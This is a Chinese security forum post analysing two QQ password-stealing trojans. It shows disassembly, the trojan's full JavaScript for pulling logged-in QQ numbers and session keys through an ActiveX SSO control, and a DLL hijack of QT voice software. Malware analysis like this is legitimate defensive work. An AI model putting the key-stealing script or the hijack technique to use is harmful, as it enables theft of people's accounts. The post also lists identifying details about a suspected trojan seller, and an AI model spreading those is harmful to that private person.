本帖最后由 Hyabcd 于 2016-4-7 19:00 编辑
一、样本简介
样本来源: http://www.52pojie.cn/thread-480487-1-1.html
http://www.52pojie.cn/thread-471184-1-1.html
“qq粘虫”木马是一款以盗取qq密码为主要目的的木马程序。在2011年左右最先被发现,由于具有相当强的免杀能力被一些人称为“毒王”。“qq粘虫”的主要特点就是功能专一性极高,只进行盗号工作而不涉及其他方面,因此无法捕捉到注册表操作或者文件操作。除此之外,“qq粘虫”盗号的方式极为精巧和简洁,只通过发送数据包的方式进行盗取密码的发送,和普通的可联网的软件没有差别。近来,“qq粘虫”呈现爆发趋势,利用“白加黑”等方式的变种也出现在人们的视野中,本文章将对最近出现的几款“qq粘虫”进行分析。
本文分析的两个样本代表两种不同的“qq粘虫”----1.盗取qq key的”qq粘虫“;2.利用”白加黑“方式的定向”qq粘虫“。如今,”qq粘虫“的易语言源码已经开源,更多的黑产从业者利用这一机会对”qq粘虫“进行改造,本文分析的”qq粘虫“基本基于相同的易语言框架。
二、样本分析
(一)盗取qq key的”qq粘虫“分析
样本来源: http://www.52pojie.cn/thread-480487-1-1.html
样本名称: 123.exe
壳信息:无壳
该样本来自于个人作者而非黑产团伙,因此框架中的许多部分被删除,只保留两部分用来进行盗取工作,一部分用于创建伪造的qq窗口(可能为老框架下保留的功能),另一部分就是qq key的盗取部分。如下图所示。
在伪造窗口函数中运用相应的资源进行窗口的绘制,绘制出的伪造窗口如下图所示。
由于”qq粘虫“使用伪造窗口进行盗号是基于用户已经登陆qq的情况下,因此作者除了进行伪造窗口之外还进行qq key的盗取。qq key是qq一个不固定的密码,也被称为qq的另一个密码,拥有qq key可以登录相应qq的邮箱,空间等个人空间,也可以利用qq key进行好友获取,qq群管理等。一些qq批量管理软件就是利用qq key进行操作,因此qq key也被盗号者重点关注。
盗取qq key的主要流程如下。
首先进行COM组件的初始化,便于过后调用。
[Asm] 纯文本查看 复制代码 004020E5 |. 51 push ecx
004020E6 |. 68 78B04700 push 123.0047B078
004020EB |. 6A 17 push 0x17
004020ED |. 8D55 DC lea edx,[local.9]
004020F0 |. 6A 00 push 0x0
004020F2 |. 52 push edx
004020F3 |. FFD7 call edi ; ole32.CoCreateInstance; <&ole32.CoCreateInstance>
然后初始化空间宿主代码
[Asm] 纯文本查看 复制代码 0041BD51 . E8 DAFFFFFF call 123.0041BD30
0041BD56 . 83C4 04 add esp,0x4
0041BD59 .- FFE0 jmp eax ; atl.AtlAxWinInit
创建基于atl模版类的窗口,窗口可用于承载IE的相关组件的操作。如下图所示。
利用IE的webbrowser组件对一些相关的类进行初始化,类名包括silent,readystate等等,可以判断这些类用来指示某个状态。并根据类的不同执行不同功能。
[Asm] 纯文本查看 复制代码 00402857 |. FF11 call dword ptr ds:[ecx] ; CUnkInner::QueryInterface:
00402859 |. 85C0 test eax,eax
0040285B |. 7D 0C jge short 123.00402869
0040285D |. C745 FC FEFFF>mov [local.1],-0x2
00402864 |. E9 D6080000 jmp 123.0040313F
00402869 |> FF15 34234700 call dword ptr ds:[<&KERNEL32.GetUserDef>; [GetUserDefaultLCID
0040286F |. 8BD8 mov ebx,eax
00402871 |. 8B45 EC mov eax,[local.5]
00402874 |. 8D55 F8 lea edx,[local.2]
00402877 |. 895D AC mov [local.21],ebx
0040287A |. 8B08 mov ecx,dword ptr ds:[eax] ; shdocvw.7E55D980
0040287C |. 52 push edx
0040287D |. 53 push ebx
0040287E |. 56 push esi
0040287F |. 50 push eax
00402880 |. FF51 10 call dword ptr ds:[ecx+0x10] ; CWebBrowserOC::GetTypeInfo:
利用webbrowser组件执行Javascript代码。
[Asm] 纯文本查看 复制代码 00402FF2 |. 68 D8B04700 push 123.0047B0D8
00402FF7 |. 52 push edx
00402FF8 |. 50 push eax
00402FF9 |. FF51 18 call dword ptr ds:[ecx+0x18] ; CWebBrowserOC::Invoke:
javascript代码如下。
[JavaScript] 纯文本查看 复制代码 document.body.innerHTML=GetuinKey();..
function GetuinKey(){
var text="";var q_hummerQtrl=null;var g_vOptData=null;
if(window.ActiveXObject)
{try{q_hummerQtrl=new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2");
var A=q_hummerQtrl.CreateTXSSOData();
q_hummerQtrl.InitSSOFPTCtrl(0,A);
g_vOptData=q_hummerQtrl.CreateTXSSOData();
var a=q_hummerQtrl.DoOperation(1,g_vOptData);
var V=a.GetArray("PTALIST");
var f=V.GetSize();
var H=$("list_uin");
for(var g=0;g<f;g++)
{
var E=V.GetData(g);
var P=E.GetDWord("dwSSO_Account_dwAccountUin");
var U=E.GetStr("strSSO_Account_strNickName");
var G=E.GetBuf("bufST_PTLOGIN");
var A=G.GetSize();var N="";
for(var Y=0;Y<A;Y++)
{var B=G.GetAt(Y).toString("16");if(B.length==1){B="0"+B};N+=B};text+=P+'|'+U+'|'+N+';'}}catch(b){}};return text};
这段javascript代码的作用就是获得已登录qq的号码以及相应的key。为何jiavascript可以获取本地的qq号码和qqkey呢?我们发现这个链接http://xui.ptlogin2.qq.com/cgi-bin/qlogin可以显示当前已登录的用户,而在这个网页中就存在一个用于获取这些信息的js脚本,木马程序中的js脚本也是效仿该脚本实现的,是利用了异构系统单点登录 SSO(single-sign-on)技术,见http://www.360doc.com/content/13/1018/17/6692427_322396952.shtml
利用js脚本获取到的包含qq号和qqkey的数据如下所示。
将获取的数据用smtp协议发送到指定邮箱。
[Asm] 纯文本查看 复制代码 00401241 |. 68 8E404700 |push 123.0047408E ; \r\nkey收信提示
00401246 |. 8B5D EC |mov ebx,[local.5]
00401249 |. FF33 |push dword ptr ds:[ebx]
0040124B |. 68 9C404700 |push 123.0047409C ; \r\nQQkey:
00401250 |. 8B5D F0 |mov ebx,[local.4]
00401253 |. FF33 |push dword ptr ds:[ebx]
00401255 |. 68 A6404700 |push 123.004740A6 ; \r\n昵称:
0040125A |. 8B5D F4 |mov ebx,[local.3] ; kernel32.7C839AC0
0040125D |. FF33 |push dword ptr ds:[ebx]
0040125F |. 68 AE404700 |push 123.004740AE ; QQ号码:
00401264 |. B9 07000000 |mov ecx,0x7
00401269 |. E8 21FEFFFF |call 123.0040108F
以上就是盗取qq key的”qq粘虫“的简单分析,可以看出,该木马通过COM组件利用webbrowser接口执行特定的javascript来获取qqkey,当一个正当获取已登录qq状态的方法被恶意使用时就成了盗号的帮手。在数据的发送方式上除了使用smtp协议发送邮件的方式外还可以使用普通的http协议发包,一般情况下,黑产团伙倾向于后者,而个人作者倾向于前者。
(二)利用”白加黑“方式的定向”qq粘虫“分析
样本来源: http://www.52pojie.cn/thread-471184-1-1.html
样本名称: 关键词.exe
壳信息:ThemIDA 1.x-2.x
该木马是一款定向攻击的木马,专门针对淘宝商家。该木马伪装成刷单的关键词,实际上是一个盗取qq号的”qq粘虫“。在作用方式上,该木马区别于之前其他的”qq粘虫“,利用”白加黑“的方式,劫持qt语言的相关对话框处理的dll,当用户打开qt语音的登录框之后,输入的帐号和密码将被木马捕获发送到指定地址。以下将对该”qq粘虫“进行分析。
木马的前半部分依然保留老版粘虫的特点,创建一个伪造的窗口。不过这些功能都没有在这个版本中实现,可能是作者利用老版框架时没有删去相关代码。从文件中可以发现一些gdi创建窗口的相关函数。
而从文件中可以提取到一些敏感图片如下所示。
由此可以看出,该程序依然保留老版伪造窗口的特性,只不过在这个版本并没有启用,却而代之的是利用dll劫持的方式进行盗号操作。
程序在c盘中释放XDS27ELP.ini,主要功能由它来执行,其实这个ini文件的本质是dll,主程序将对它进行动态调用。
打开注册表键HKLM\SOFTWARE\Tencent\QT,判断计算机中是否存在qt语音。
[Asm] 纯文本查看 复制代码 029CDFE1 52 push edx
029CDFE2 68 19000200 push 0x20019
029CDFE7 57 push edi
029CDFE8 50 push eax ;[size=2]SOFTWARE\Tencent\QT[/size]
029CDFE9 51 push ecx ;[size=2]HKLM[/size]
029CDFEA FF15 0C60A502 call dword ptr ds:[<&ADVAPI32.RegOpenKey>; advapi32.RegOpenKeyExA
查看该键isntall键,判断qt语音是否已经安装。如果已经安装,则读该键键值获得安装路径。
[Asm] 纯文本查看 复制代码 029CE00D 52 push edx
029CE00E 8B5424 14 mov edx,dword ptr ss:[esp+0x14]
029CE012 57 push edi
029CE013 50 push eax
029CE014 57 push edi
029CE015 51 push ecx ;”install“
029CE016 52 push edx
029CE017 89BC24 9C000000 mov dword ptr ss:[esp+0x9C],edi
029CE01E FFD3 call ebx ; advapi32.RegQueryValueExA
获得安装路径后,将路径下的DataReport.dll修改为以old+随机数为名的文件,并用自身(XDS27ELP.ini)替换旧的dll。
[Asm] 纯文本查看 复制代码 029CCD39 51 push ecx ;[size=2]修改后的路径和名称[/size]
029CCD3A 52 push edx ;[size=2]DataReport.dll路径[/size]
029CCD3B FF15 6063A502 call dword ptr ds:[<&KERNEL32.MoveFileA>>; kernel32.MoveFileA
[Asm] 纯文本查看 复制代码 029CCD39 51 push ecx ;[size=2]DataReport.dll路径[/size]
029CCD3A 52 push edx ;自身路径
029CCD3B FF15 6063A502 call dword ptr ds:[<&KERNEL32.MoveFileA>>; kernel32.MoveFileA
在伪造的dll中,无关的导出函数已经被清空,只保留一些与登录相关的函数。
由于qt的登录操作需要该dll,因此帐号密码的输入也被定向到该dll中。dll调用GetWindowText获取输入框的内容,从而窃取到用户帐号和密码。
然后将帐号和密码发送到指定服务器。
最后打开写字板,显示一些刷单信息,让受害者信以为真。
通过对该域名的whois查询可得知木马持有者qq号码。
通过查找群关系可以得知该号码主人来自福建省漳州市云霄县。除了此号码外总共有三个号码进行木马销售,其中有一个号码是通过盗号所得。
通过深入调查得知木马持有者姓名为朱某荣,酷爱重型机车,在贴吧上频繁进行重型机车的交易请求,活动范围在福建漳州,可能为某茶艺学校13级毕业生。下图为他的腾讯微博。
而从网上的信息可以看出该作者已经实施过多起盗号诈骗,目标都是淘宝卖家。可以看出这是个小型的黑产团伙。
三、总结及相关防范
”qq粘虫“木马由于作用简单,功能专一,隐蔽性高,对系统敏感函数没有进行调用,因此容易被杀软忽视。为了防止”qq粘虫“盗取帐号密码,最好的方法是增强自身的防范意识,对于以exe为后缀,冠以诸如某某清单,某某价格表之类的伪造文件应该加以防范而不能随意双击,若文件类型被隐藏可通过修改文件夹选项中相应内容(如图)来得知真实的文件类型。
四、后续
qq粘虫专杀工具已完成,专门针对传统版本伪造qq登陆窗口的qq粘虫。附件密码:52pojie
|